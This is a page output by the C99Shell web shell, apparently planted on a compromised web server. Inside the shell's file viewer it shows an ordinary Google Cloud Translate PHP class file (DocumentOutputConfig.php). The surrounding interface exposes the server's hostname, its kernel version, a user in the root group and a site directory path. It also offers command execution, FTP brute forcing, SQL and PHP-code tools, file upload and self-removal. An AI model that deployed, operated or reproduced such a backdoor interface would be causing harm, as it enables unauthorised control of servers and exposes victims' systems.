!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/google/cloud-translate/src/V3/   drwxr-xr-x
Free 29.24 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DocumentOutputConfig.php (11.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/cloud/translate/v3/translation_service.proto

namespace Google\Cloud\Translate\V3;

use 
Google\Protobuf\Internal\GPBType;
use 
Google\Protobuf\Internal\RepeatedField;
use 
Google\Protobuf\Internal\GPBUtil;

/**
 * A document translation request output config.
 *
 * Generated from protobuf message <code>google.cloud.translation.v3.DocumentOutputConfig</code>
 */
class DocumentOutputConfig extends \Google\Protobuf\Internal\Message
{
    
/**
     * Optional. Specifies the translated document's mime_type.
     * If not specified, the translated file's mime type will be the same as the
     * input file's mime type.
     * Currently only support the output mime type to be the same as input mime
     * type.
     * - application/pdf
     * - application/vnd.openxmlformats-officedocument.wordprocessingml.document
     * - application/vnd.openxmlformats-officedocument.presentationml.presentation
     * - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
     *
     * Generated from protobuf field <code>string mime_type = 3 [(.google.api.field_behavior) = OPTIONAL];</code>
     */
    
private $mime_type '';
    protected 
$destination;

    
/**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type \Google\Cloud\Translate\V3\GcsDestination $gcs_destination
     *           Optional. Google Cloud Storage destination for the translation output,
     *           e.g., `gs://my_bucket/my_directory/`.
     *           The destination directory provided does not have to be empty, but the
     *           bucket must exist. If a file with the same name as the output file
     *           already exists in the destination an error will be returned.
     *           For a DocumentInputConfig.contents provided document, the output file
     *           will have the name "output_[trg]_translations.[ext]", where
     *           - [trg] corresponds to the translated file's language code,
     *           - [ext] corresponds to the translated file's extension according to its
     *           mime type.
     *           For a DocumentInputConfig.gcs_uri provided document, the output file will
     *           have a name according to its URI. For example: an input file with URI:
     *           `gs://a/b/c.[extension]` stored in a gcs_destination bucket with name
     *           "my_bucket" will have an output URI:
     *           `gs://my_bucket/a_b_c_[trg]_translations.[ext]`, where
     *           - [trg] corresponds to the translated file's language code,
     *           - [ext] corresponds to the translated file's extension according to its
     *           mime type.
     *           If the document was directly provided through the request, then the
     *           output document will have the format:
     *           `gs://my_bucket/translated_document_[trg]_translations.[ext]`, where
     *           - [trg] corresponds to the translated file's language code,
     *           - [ext] corresponds to the translated file's extension according to its
     *           mime type.
     *           If a glossary was provided, then the output URI for the glossary
     *           translation will be equal to the default output URI but have
     *           `glossary_translations` instead of `translations`. For the previous
     *           example, its glossary URI would be:
     *           `gs://my_bucket/a_b_c_[trg]_glossary_translations.[ext]`.
     *           Thus the max number of output files will be 2 (Translated document,
     *           Glossary translated document).
     *           Callers should expect no partial outputs. If there is any error during
     *           document translation, no output will be stored in the Cloud Storage
     *           bucket.
     *     @type string $mime_type
     *           Optional. Specifies the translated document's mime_type.
     *           If not specified, the translated file's mime type will be the same as the
     *           input file's mime type.
     *           Currently only support the output mime type to be the same as input mime
     *           type.
     *           - application/pdf
     *           - application/vnd.openxmlformats-officedocument.wordprocessingml.document
     *           - application/vnd.openxmlformats-officedocument.presentationml.presentation
     *           - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
     * }
     */
    
public function __construct($data NULL) {
        
\GPBMetadata\Google\Cloud\Translate\V3\TranslationService::initOnce();
        
parent::__construct($data);
    }

    
/**
     * Optional. Google Cloud Storage destination for the translation output,
     * e.g., `gs://my_bucket/my_directory/`.
     * The destination directory provided does not have to be empty, but the
     * bucket must exist. If a file with the same name as the output file
     * already exists in the destination an error will be returned.
     * For a DocumentInputConfig.contents provided document, the output file
     * will have the name "output_[trg]_translations.[ext]", where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * For a DocumentInputConfig.gcs_uri provided document, the output file will
     * have a name according to its URI. For example: an input file with URI:
     * `gs://a/b/c.[extension]` stored in a gcs_destination bucket with name
     * "my_bucket" will have an output URI:
     * `gs://my_bucket/a_b_c_[trg]_translations.[ext]`, where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * If the document was directly provided through the request, then the
     * output document will have the format:
     * `gs://my_bucket/translated_document_[trg]_translations.[ext]`, where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * If a glossary was provided, then the output URI for the glossary
     * translation will be equal to the default output URI but have
     * `glossary_translations` instead of `translations`. For the previous
     * example, its glossary URI would be:
     * `gs://my_bucket/a_b_c_[trg]_glossary_translations.[ext]`.
     * Thus the max number of output files will be 2 (Translated document,
     * Glossary translated document).
     * Callers should expect no partial outputs. If there is any error during
     * document translation, no output will be stored in the Cloud Storage
     * bucket.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @return \Google\Cloud\Translate\V3\GcsDestination|null
     */
    
public function getGcsDestination()
    {
        return 
$this->readOneof(1);
    }

    public function 
hasGcsDestination()
    {
        return 
$this->hasOneof(1);
    }

    
/**
     * Optional. Google Cloud Storage destination for the translation output,
     * e.g., `gs://my_bucket/my_directory/`.
     * The destination directory provided does not have to be empty, but the
     * bucket must exist. If a file with the same name as the output file
     * already exists in the destination an error will be returned.
     * For a DocumentInputConfig.contents provided document, the output file
     * will have the name "output_[trg]_translations.[ext]", where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * For a DocumentInputConfig.gcs_uri provided document, the output file will
     * have a name according to its URI. For example: an input file with URI:
     * `gs://a/b/c.[extension]` stored in a gcs_destination bucket with name
     * "my_bucket" will have an output URI:
     * `gs://my_bucket/a_b_c_[trg]_translations.[ext]`, where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * If the document was directly provided through the request, then the
     * output document will have the format:
     * `gs://my_bucket/translated_document_[trg]_translations.[ext]`, where
     * - [trg] corresponds to the translated file's language code,
     * - [ext] corresponds to the translated file's extension according to its
     * mime type.
     * If a glossary was provided, then the output URI for the glossary
     * translation will be equal to the default output URI but have
     * `glossary_translations` instead of `translations`. For the previous
     * example, its glossary URI would be:
     * `gs://my_bucket/a_b_c_[trg]_glossary_translations.[ext]`.
     * Thus the max number of output files will be 2 (Translated document,
     * Glossary translated document).
     * Callers should expect no partial outputs. If there is any error during
     * document translation, no output will be stored in the Cloud Storage
     * bucket.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @param \Google\Cloud\Translate\V3\GcsDestination $var
     * @return $this
     */
    
public function setGcsDestination($var)
    {
        
GPBUtil::checkMessage($var\Google\Cloud\Translate\V3\GcsDestination::class);
        
$this->writeOneof(1$var);

        return 
$this;
    }

    
/**
     * Optional. Specifies the translated document's mime_type.
     * If not specified, the translated file's mime type will be the same as the
     * input file's mime type.
     * Currently only support the output mime type to be the same as input mime
     * type.
     * - application/pdf
     * - application/vnd.openxmlformats-officedocument.wordprocessingml.document
     * - application/vnd.openxmlformats-officedocument.presentationml.presentation
     * - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
     *
     * Generated from protobuf field <code>string mime_type = 3 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @return string
     */
    
public function getMimeType()
    {
        return 
$this->mime_type;
    }

    
/**
     * Optional. Specifies the translated document's mime_type.
     * If not specified, the translated file's mime type will be the same as the
     * input file's mime type.
     * Currently only support the output mime type to be the same as input mime
     * type.
     * - application/pdf
     * - application/vnd.openxmlformats-officedocument.wordprocessingml.document
     * - application/vnd.openxmlformats-officedocument.presentationml.presentation
     * - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
     *
     * Generated from protobuf field <code>string mime_type = 3 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @param string $var
     * @return $this
     */
    
public function setMimeType($var)
    {
        
GPBUtil::checkString($varTrue);
        
$this->mime_type $var;

        return 
$this;
    }

    
/**
     * @return string
     */
    
public function getDestination()
    {
        return 
$this->whichOneof("destination");
    }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--